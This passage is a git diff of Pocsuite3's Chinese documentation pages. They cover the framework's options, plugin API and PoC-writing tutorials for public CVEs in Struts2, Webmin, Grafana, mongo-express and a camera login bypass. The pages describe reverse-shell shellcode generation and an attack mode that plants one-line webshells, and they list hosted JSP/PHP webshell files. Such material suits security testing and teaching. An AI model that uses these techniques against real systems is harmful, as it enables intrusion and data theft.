Docker 控制 
在 v2.0.6 版本中引入了 Docker 漏洞环境搭建，具体实现方法为：在 PoC 添加 dockerfile 字段
class DemoPOC(POCBase):
+    vulID = ''  # ssvid
+    version = '1.0'
+    author = ['']
+    vulDate = '2029-5-8'
+    createDate = '2019-5-8'
+    updateDate = '2019-5-8'
+    references = ['']
+    name = 'Struts2 045 RCE CVE-2017'
+    appPowerLink = ''
+    appName = 'struts2'
+    appVersion = ''
+    vulType = ''
+    desc = '''S2-045:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3)'''
+    samples = []
+    category = POC_CATEGORY.EXPLOITS.WEBAPP
+    dockerfile = '''FROM isxiangyang/struts2-all-vul-pocsuite:latest'''
+
--docker-start 
指定该参数会从 PoC 中获取 Dockerfile 并构建容器
--docker-port 
端口映射，与 Docker 官方提供的映射一样，--docker-port 8080:8080
--docker-volume 
挂载 host 文件，使用方法为：--docker-volume /host/file:/container/file
--docker-env 
设置容器的环境变量，使用方法为 --docker-env NAME=VALUE
--docker-only 
只启动 Docker 环境不实用 PoC 进行验证。
Web Hook 
扫描完成使用 钉钉 和 企业微信 进行通知
--dingtalk-token 
钉钉的 token
--dingtalk-secret 
钉钉的 secret
--wx-work-key 
企业微信的 Web Hook key
自定义的参数 
--options 
有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行用户指定的命令。可在 PoC 中自定义参数，可参见：可自定义参数的 PoC
使用 --optioins 参数可以很方便的查看某 PoC 的自定义参数信息，如下：
pocsuite -k ecshop --options
 
 [17:27:24] [INFO] loading PoC script '**/lib/python3.9/site-packages/pocsuite3-1.9.6-py3.9.egg/pocsuite3/pocs/ecshop_rce.py'
 
@@ -154,8 +171,8 @@
 [20:18:19] [INFO] Current upstream version: 1.9.6
 ...
 
--version 
输出当前安装的 Pocsuite3 的版本。
-n / --new 
生成 PoC 模版，可参考：实战 PoC 开发
-c 
通过配置文件提供所有参数，格式可见：pocsuite.ini 配置文件参数说明
--plugins 
加载执行自定义的插件，详情可见：插件编写
--rule / --rule-req / --rule-filename 
导出 PoC 脚本中的 suricata 规则（需要在 PoC 属性中定义 suricata_request、suricata_respons）。
--no-check 
禁用 URL HTTP/HTTPS 协议自动纠正和蜜罐检查。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/parameter-posuite-ini.html b/guide/parameter-posuite-ini.html
index 0eeb2f3d..61dd9bc1 100644
--- a/guide/parameter-posuite-ini.html
+++ b/guide/parameter-posuite-ini.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite.ini 配置文件参数说明 
配置文件示例：
[Target]
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
pocsuite.ini 配置文件参数说明 
配置文件示例：
[Target]
 ; target url/cidr (e.g. "http://www.site.com/vuln.php?id=1")
 url = https://www.google.com
 ; scan multiple targets given in a textual file (one per line)
@@ -147,8 +147,8 @@
 ; show all definition options
 show_options =
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/plugin-introduction.html b/guide/plugin-introduction.html
index 8c543be1..0059e4f4 100644
--- a/guide/plugin-introduction.html
+++ b/guide/plugin-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/plugin-pocs.html b/guide/plugin-pocs.html
index 64ef4aa2..cbbb5ed9 100644
--- a/guide/plugin-pocs.html
+++ b/guide/plugin-pocs.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
POCS 类型插件 
POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能，例如从 redis 或数据库加载 PoC 脚本代码。
from pocsuite3.api import PluginBase
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
POCS 类型插件 
POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能，例如从 redis 或数据库加载 PoC 脚本代码。
from pocsuite3.api import PluginBase
 from pocsuite3.api import PLUGIN_TYPE
 from pocsuite3.api import logger
 from pocsuite3.api import register_plugin
@@ -34,8 +34,8 @@
 
 register_plugin(TargetPluginDemo)
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/plugin-results.html b/guide/plugin-results.html
index 0c1158f2..2c527f28 100644
--- a/guide/plugin-results.html
+++ b/guide/plugin-results.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
RESULTS 类型插件 
RESULTS 类型插件用来自定义检测结果的导出，例如导出 html 报表等。
from pocsuite3.api import PluginBase
+    
-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/plugin-targets.html b/guide/plugin-targets.html
index 88d53620..1d9ce635 100644
--- a/guide/plugin-targets.html
+++ b/guide/plugin-targets.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
TARGETS 类型插件 
TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能，例如从 redis 或数据库加载 targets。
from pocsuite3.api import PluginBase
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
TARGETS 类型插件 
TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能，例如从 redis 或数据库加载 targets。
from pocsuite3.api import PluginBase
 from pocsuite3.api import PLUGIN_TYPE
 from pocsuite3.api import logger
 from pocsuite3.api import register_plugin
@@ -34,8 +34,8 @@
 
 register_plugin(TargetPluginDemo)
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-api.html b/guide/poc-api.html
index 5f835fc0..55e5d58b 100644
--- a/guide/poc-api.html
+++ b/guide/poc-api.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
通用 API 列表 
在编写 PoC 的时候，相关方法请尽量调用 Pocsuite3 已封装的 API。
通用方法 
方法说明
from pocsuite3.api import logger日志记录，比如logger.log(info)
from pocsuite3.api import requests请求类，用法同 requests
from pocsuite3.api import SeebugSeebug api 调用
from pocsuite3.api import ZoomEyeZoomEye api 调用
from pocsuite3.api import ShodanShodan api 调用
from pocsuite3.api import FofaFofa api 调用
from pocsuite3.api import QuakeQuake api 调用
from pocsuite3.api import HunterHunter api 调用
from pocsuite3.api import CensysCensys api 调用
from pocsuite3.api import CEyeCEye api 调用
from pocsuite3.api import InteractshInteractsh api 调用
from pocsuite3.api import crawl简单爬虫功能
from pocsuite3.api import PHTTPServerHttp 服务功能
from pocsuite3.api import REVERSE_PAYLOAD反向连接 shell payload
from pocsuite3.api import get_results获取结果
（TODO：API 文档完善）
ShellCode 生成支持 
在一些特殊的 Linux 和 Windows 环境下，想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86/x64 环境下的用于反弹的 shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。
Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
from pocsuite3.api import generate_shellcode_list
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
通用 API 列表 
在编写 PoC 的时候，相关方法请尽量调用 Pocsuite3 已封装的 API。
通用方法 
方法说明
from pocsuite3.api import logger日志记录，比如logger.log(info)
from pocsuite3.api import requests请求类，用法同 requests
from pocsuite3.api import SeebugSeebug api 调用
from pocsuite3.api import ZoomEyeZoomEye api 调用
from pocsuite3.api import ShodanShodan api 调用
from pocsuite3.api import FofaFofa api 调用
from pocsuite3.api import QuakeQuake api 调用
from pocsuite3.api import HunterHunter api 调用
from pocsuite3.api import CensysCensys api 调用
from pocsuite3.api import CEyeCEye api 调用
from pocsuite3.api import InteractshInteractsh api 调用
from pocsuite3.api import crawl简单爬虫功能
from pocsuite3.api import PHTTPServerHttp 服务功能
from pocsuite3.api import REVERSE_PAYLOAD反向连接 shell payload
from pocsuite3.api import get_results获取结果
（TODO：API 文档完善）
ShellCode 生成支持 
在一些特殊的 Linux 和 Windows 环境下，想得到反弹 shell 条件比较困难。为此我们制作了用于在 Windows/Linux x86/x64 环境下的用于反弹的 shellcode，并制作了接口支持，你在只需要拥有命令执行权限下便可以自动将 shellcode 写入到目标机器以及执行反弹 shell 命令。
Demo Poc：https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/thinkphp_rce2.py
from pocsuite3.api import generate_shellcode_list
 _list = generate_shellcode_list(listener_ip=get_listener_ip(), listener_port=get_listener_port(), os_target=OS.LINUX, os_target_arch=OS_ARCH.X86)
 
将生成一长串执行指令，执行这些指令便可以反弹出一个 shell。
HTTP 服务内置 
对于一些需要第三方 HTTP 服务才能验证的漏洞，Pocsuite3 也提供对应的 API，支持在本地开启一个 HTTP 服务方便进行验证。
可查看测试用例：https://github.com/knownsec/pocsuite3/blob/master/tests/test_httpserver.py
"""
 If you have issues about development, please read:
@@ -108,8 +108,8 @@
 register_poc(DemoPOC)
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-base-class.html b/guide/poc-base-class.html
index b4697bc0..0b08071a 100644
--- a/guide/poc-base-class.html
+++ b/guide/poc-base-class.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 插件基类 
为了简化 PoC 插件的编写，Pocsuite3 实现了 PoC 基类：POCBase，很多共用的代码片段都可以放到此基类中。我们编写 PoC 时，只需要继承该基类就可，比较常用的属性和方法如下：

+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 插件基类 
为了简化 PoC 插件的编写，Pocsuite3 实现了 PoC 基类：POCBase，很多共用的代码片段都可以放到此基类中。我们编写 PoC 时，只需要继承该基类就可，比较常用的属性和方法如下：

 常用属性：
 
 self.url  # 目标 url
@@ -163,8 +163,8 @@
     return not is_honeypot
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-code-example.html b/guide/poc-code-example.html
index f4597c96..ab7a33a1 100644
--- a/guide/poc-code-example.html
+++ b/guide/poc-code-example.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
代码示例 
Ecshop 2.x/3.x Remote Code Execution PoC 
import base64
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
代码示例 
Ecshop 2.x/3.x Remote Code Execution PoC 
import base64
 from urllib.parse import urljoin
 
 from pocsuite3.api import Output, POCBase, register_poc, requests, logger
@@ -110,8 +110,8 @@
 register_poc(DemoPOC)
 
 
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-definition-options.html b/guide/poc-definition-options.html
index 84693601..74c38704 100644
--- a/guide/poc-definition-options.html
+++ b/guide/poc-definition-options.html
@@ -8,12 +8,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
可自定义参数的 PoC 
自定义参数示例及使用方法 
如果你需要编写一个可以交互参数的 PoC 文件（例如有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行任意命令），那么可以在 PoC 文件中声明一个 _options 方法。一个简单的例子如下：
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
可自定义参数的 PoC 
自定义参数示例及使用方法 
如果你需要编写一个可以交互参数的 PoC 文件（例如有的 PoC 脚本需要填写登录信息，或者任意命令执行时执行任意命令），那么可以在 PoC 文件中声明一个 _options 方法。一个简单的例子如下：
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
 from pocsuite3.api import OrderedDict, OptString
 
 
@@ -58,8 +58,8 @@
 register_poc(DemoPOC)
 
你可以在 console 或者 cli 模式下调用。
  • 在 console 模式下，Pocsuite3 模仿了 Metasploit 的操作模式，你只需要使用 set 命令来设置相应的参数，然后 run 或者 check 来执行（attack 和 shell 命令也可以）。
  • 在 cli 模式下，如上面例子所示，定义了 username 和 password 两个字段，你可以在参数后面加上 --username test --password test 来调用执行，需要注意的是，如果你的参数中包含了空格，用双引号 " 来包裹它。
支持的自定义字段类型 
和上面类似，如果你想使用自定义的字段，将它定义到 _options 方法中，然后返回一个数组。Pocsuite3 支持的自定义字段类型如下：
from pocsuite3.api import OptString, OptDict, OptIP, OptPort, OptBool, OptInteger, OptFloat, OptItems
 
字段类型字段描述参数解释相关例子
OptString接收字符串类型参数default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptDict接收一个字典类型参数，在选择上如果选择 key，调用时会调用对应的 valuedefault: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptIP接收 IP 类型的字符串default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptPort接收端口类型参数default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptBool接收布尔类型参数default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptInteger接收整数类型参数default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptFloat接收浮点数类型参数default: 传入一个默认值
descript: 字段描述，默认为空
require: 是否必须，默认 False
OptItems接收 list 类型参数default: 传入一个默认值
selectd: 默认选择
descript: 字段描述，默认为空
require: 是否必须，默认 False
需要注意的是，console 模式支持所有的参数类型，cli 模式除了OptDict、OptBool、OptItems 类型外都支持。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-demo-camera-auth-bypass.html b/guide/poc-demo-camera-auth-bypass.html
index a5290566..6de92ec4 100644
--- a/guide/poc-demo-camera-auth-bypass.html
+++ b/guide/poc-demo-camera-auth-bypass.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
某网络摄像头登录绕过漏洞 
漏洞细节：某网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告
该品牌摄像头的 Web 服务基于 HTTP 基本认证，存在三组默认凭证，分别对应不同的权限等级。三组默认凭证分别为：admin:admin，user:user，guest:guest，安装时 APP 只会提醒修改 admin 账户的默认密码。
值得一提的是，user 账户和 guest 账户也可以查看视频流，大部分用户不会修改这些账户的默认密码，导致隐私泄漏。
PoC 开发 
生成模版，
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
某网络摄像头登录绕过漏洞 
漏洞细节：某网络摄像头登录绕过及多个基于堆栈溢出的远程代码执行漏洞及数据分析报告
该品牌摄像头的 Web 服务基于 HTTP 基本认证，存在三组默认凭证，分别对应不同的权限等级。三组默认凭证分别为：admin:admin，user:user，guest:guest，安装时 APP 只会提醒修改 admin 账户的默认密码。
值得一提的是，user 账户和 guest 账户也可以查看视频流，大部分用户不会修改这些账户的默认密码，导致隐私泄漏。
PoC 开发 
生成模版，
➜ pocsuite --new
 ...
 0    Arbitrary File Read
 1    Code Execution
@@ -74,8 +74,8 @@
 +        return self._verify()
 
 
漏洞验证 
使用 --dork-zoomeye 指定关键词从 ZoomEye 检索目标进行检测。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-demo-cve-2019-10758.html b/guide/poc-demo-cve-2019-10758.html
index 3911088b..f94d1c19 100644
--- a/guide/poc-demo-cve-2019-10758.html
+++ b/guide/poc-demo-cve-2019-10758.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
mongo-express 认证远程代码执行漏洞（CVE-2019-10758） 
漏洞细节：mongo-express远程代码执行漏洞（CVE-2019-10758）
Mongo-express 是一个基于 Node.js 和 express 的开源的 MongoDB Web 管理界面。mongo-express <= 0.53.0 版本存在认证远程代码执行漏洞。如果攻击者可以成功登录，或者目标服务器没有修改默认的账号密码（admin:pass），则可以执行任意 node.js 代码。
PoC 开发 
使用 pocsuite --new 生成模版，由于该漏洞没有回显，我们使用 CEye 或者 Interactsh 等 DNSLog 服务来辅助验证。
Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具，只要有一个域名，就可以快速搭建属于自己的 oob 服务。网上也有一些公开可用的，如：interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me。
生成模版：
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
mongo-express 认证远程代码执行漏洞（CVE-2019-10758） 
漏洞细节：mongo-express远程代码执行漏洞（CVE-2019-10758）
Mongo-express 是一个基于 Node.js 和 express 的开源的 MongoDB Web 管理界面。mongo-express <= 0.53.0 版本存在认证远程代码执行漏洞。如果攻击者可以成功登录，或者目标服务器没有修改默认的账号密码（admin:pass），则可以执行任意 node.js 代码。
PoC 开发 
使用 pocsuite --new 生成模版，由于该漏洞没有回显，我们使用 CEye 或者 Interactsh 等 DNSLog 服务来辅助验证。
Interactsh 是知名开源软件组织 projectdiscovery 开发的一款 DNSLog 工具，只要有一个域名，就可以快速搭建属于自己的 oob 服务。网上也有一些公开可用的，如：interact.sh, oast.pro, oast.live, oast.site, oast.online, oast.fun, oast.me。
生成模版：
➜ pocsuite --new
 ...
 -----
 Seebug ssvid (eg, 99335) [0]: 98116
@@ -93,8 +93,8 @@
 Connection: keep-alive
                                                                        
 
漏洞验证 
通过命令行参数 --user admin --pwd pass --oob-server interact.sh 分别指定了用户名、密码、和使用的 DNSLog 服务地址，也可以不指定，使用默认值。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-demo-cve-2019-15107.html b/guide/poc-demo-cve-2019-15107.html
index 2274ae39..36c2f1cc 100644
--- a/guide/poc-demo-cve-2019-15107.html
+++ b/guide/poc-demo-cve-2019-15107.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webmin 未授权远程命令执行漏洞（CVE-2019-15107） 
漏洞细节：Webmin Unauthenticated Remote Execution
Webmin 是功能强大的基于 Web 的 Unix 系统管理工具，管理员可以通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。Webmin <= 1.920 版本的 /password_change.cgi 接口存在一处未授权命令注入漏洞。
PoC 开发 
基于网上公开的漏洞细节，我们可以很容易的开发出该漏洞的 PoC 插件。首先使用 --new 参数生成 PoC 模版（如果嫌属性比较多，一路回车即可）：
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Webmin 未授权远程命令执行漏洞（CVE-2019-15107） 
漏洞细节：Webmin Unauthenticated Remote Execution
Webmin 是功能强大的基于 Web 的 Unix 系统管理工具，管理员可以通过浏览器访问 Webmin 的各种管理功能并完成相应的管理动作。Webmin <= 1.920 版本的 /password_change.cgi 接口存在一处未授权命令注入漏洞。
PoC 开发 
基于网上公开的漏洞细节，我们可以很容易的开发出该漏洞的 PoC 插件。首先使用 --new 参数生成 PoC 模版（如果嫌属性比较多，一路回车即可）：
➜ pocsuite --new
 ...
 You are about to be asked to enter information that will be used to create a poc template.
 There are quite a few fields but you can leave some blank.
@@ -169,8 +169,8 @@
          except Exception:
              pass
 
shell 模式 ok：
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-demo-cve-2021-43798.html b/guide/poc-demo-cve-2021-43798.html
index c54b7c95..d8bd8651 100644
--- a/guide/poc-demo-cve-2021-43798.html
+++ b/guide/poc-demo-cve-2021-43798.html
@@ -9,12 +9,12 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Grafana 未授权任意文件读取漏洞（CVE-2021-43798） 
漏洞细节：Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)
Grafana 是一个跨平台、开源的数据可视化网络应用程序平台。Grafana v8.0.0-beta1 到 v8.3.0 存在未授权任意文件读取漏洞。
PoC 开发 
生成模版：
➜ pocsuite --new
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
On this page
Grafana 未授权任意文件读取漏洞（CVE-2021-43798） 
漏洞细节：Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)
Grafana 是一个跨平台、开源的数据可视化网络应用程序平台。Grafana v8.0.0-beta1 到 v8.3.0 存在未授权任意文件读取漏洞。
PoC 开发 
生成模版：
➜ pocsuite --new
 ...
 -----
 Seebug ssvid (eg, 99335) [0]: 99398
@@ -75,8 +75,8 @@
 INFO[07-14|22:50:26] Path Provisioning                        logger=settings path=/etc/grafana/provisioning
 ...
 
漏洞验证 
verify 模式效果：
追加 -o a.json 参数可以把结果保存为 JSON Lines 格式的文件。
attack 模式，从命令行获取文件路径并返回结果。
针对目录穿越漏洞，有个比较坑的点是 urlib3>1.24.3 版本会从请求 URL 中删除 ../，这影响了很多安全工具，具体可见 issue：Issue with Parsing URIs - Breaks Security Tools when testing for Path Traversal
Pocsuite3 hook 了 urllib3 和 requests 的部分代码，支持 ../，同时取消了对特殊字符的编码。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-demo-introduction.html b/guide/poc-demo-introduction.html
index 408a1166..2173f136 100644
--- a/guide/poc-demo-introduction.html
+++ b/guide/poc-demo-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
前言 
框架只是躯壳，PoC 才是灵魂。这里以几种常见的漏洞类型为例，说明如何基于 Pocsuite3 框架快速开发 PoC。
WARNING
以下漏洞皆为网上的公开漏洞，该教程仅用于工具教学目的，禁止将 PoC 用于任何非法用途！
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
前言 
框架只是躯壳，PoC 才是灵魂。这里以几种常见的漏洞类型为例，说明如何基于 Pocsuite3 框架快速开发 PoC。
WARNING
以下漏洞皆为网上的公开漏洞，该教程仅用于工具教学目的，禁止将 PoC 用于任何非法用途！
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-introduction.html b/guide/poc-introduction.html
index 53bb2032..f0f22e9f 100644
--- a/guide/poc-introduction.html
+++ b/guide/poc-introduction.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
-    
-    
+    
+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-mode.html b/guide/poc-mode.html
index 6f1c5154..862f194b 100644
--- a/guide/poc-mode.html
+++ b/guide/poc-mode.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 脚本的三种模式 
在 Pocsuite3 中，PoC 脚本有三种运行模式，分别为：
1、verify 模式，验证漏洞存在。验证方式取决于具体的漏洞类型，比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果，结合 DNSLog 带外回显等。该模式用于批量漏洞排查，一般不需要用户提供额外参数 ，且应尽可能对目标无害。
2、attack 模式，攻击模式，可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。
3、shell 模式，获取交互式 shell，此模式下会默认监听本机的 6666 端口（可通过 --lhost、--lport 参数修改），编写对应的代码，让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。反连 Payload 可参考：GTFOBins Reverse shell。
TIP
attack 模式和 shell 模式的实现是可选的。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 脚本的三种模式 
在 Pocsuite3 中，PoC 脚本有三种运行模式，分别为：
1、verify 模式，验证漏洞存在。验证方式取决于具体的漏洞类型，比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果，结合 DNSLog 带外回显等。该模式用于批量漏洞排查，一般不需要用户提供额外参数 ，且应尽可能对目标无害。
2、attack 模式，攻击模式，可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。
3、shell 模式，获取交互式 shell，此模式下会默认监听本机的 6666 端口（可通过 --lhost、--lport 参数修改），编写对应的代码，让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。反连 Payload 可参考：GTFOBins Reverse shell。
TIP
attack 模式和 shell 模式的实现是可选的。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-remote-file.html b/guide/poc-remote-file.html
index 90a49991..3cb1b288 100644
--- a/guide/poc-remote-file.html
+++ b/guide/poc-remote-file.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 远程调用文件列表 
部分 PoC 需要采用包含远程文件的形式，基于 Pocsuite3 的 PoC 建议统一使用如下文件：（如需引用未在以下文件列表内文件，请联系直接提交 issue 或 PR）。
统一 URL 调用路径：https://pocsuite.org/include_files/，如 https://pocsuite.org/include_files/xxe_verify.xml
文件列表
文件名说明
v.jsp一个通用简单的 JSP 一句话 Shell，验证模式
a.jsp一个通用简单的 JSP 一句话 Shell，攻击模式
php_attack.txtPHP 一句话
php_verify.txtPHP 打印 md5 值
xxe_verify.xmlXXE 验证文件
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
Pocsuite3 远程调用文件列表 
部分 PoC 需要采用包含远程文件的形式，基于 Pocsuite3 的 PoC 建议统一使用如下文件：（如需引用未在以下文件列表内文件，请联系直接提交 issue 或 PR）。
统一 URL 调用路径：https://pocsuite.org/include_files/，如 https://pocsuite.org/include_files/xxe_verify.xml
文件列表
文件名说明
v.jsp一个通用简单的 JSP 一句话 Shell，验证模式
a.jsp一个通用简单的 JSP 一句话 Shell，攻击模式
php_attack.txtPHP 一句话
php_verify.txtPHP 打印 md5 值
xxe_verify.xmlXXE 验证文件
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

+    
+    
     
   
 
\ No newline at end of file
diff --git a/guide/poc-run-mode.html b/guide/poc-run-mode.html
index b5c0db33..65dae97d 100644
--- a/guide/poc-run-mode.html
+++ b/guide/poc-run-mode.html
@@ -8,14 +8,14 @@
     
     
     
-    
+    
     
     
   
   
-    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 插件的三种模式 
1、verify 模式，验证漏洞存在。验证方式取决于具体的漏洞类型，比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果，结合 DNSLog 带外回显等。该模式用于批量漏洞排查，一般不需要用户提供额外参数 ，且应尽可能对目标无害。
2、attack 模式，攻击模式，可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。
3、shell 模式，获取交互式 shell，此模式下会默认监听本机的 6666 端口（可通过 --lhost、--lport 参数修改），编写对应的代码，让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。反连 Payload 可参考：GTFOBins Reverse shell。
在 PoC 插件中，attack 模式和 shell 模式的实现是可选的。
Released under the GPLv2 License.
Copyright © 2014-present Knownsec 404 Team

-    
-    
+    
Pocsuite3
English
简体中文
English
简体中文
Appearance
 Return to top 
PoC 插件的三种模式 
1、verify 模式，验证漏洞存在。验证方式取决于具体的漏洞类型，比如检查目标的软件版本、判断某个关键 API 的状态码或返回、读取特定文件、执行一个命令并获取结果，结合 DNSLog 带外回显等。该模式用于批量漏洞排查，一般不需要用户提供额外参数 ，且应尽可能对目标无害。
2、attack 模式，攻击模式，可实现某种特定需求。比如获取特定数据、写入一句话并返回 shell 地址、从命令行参数获取命令并执行、从命令行参数获取文件路径并返回文件内容等。
3、shell 模式，获取交互式 shell，此模式下会默认监听本机的 6666 端口（可通过 --lhost、--lport 参数修改），编写对应的代码，让目标执行反连 Payload 反向连接到设定的 IP 和端口即可得到一个 shell。反连 Payload 可参考：GTFOBins Reverse shell。
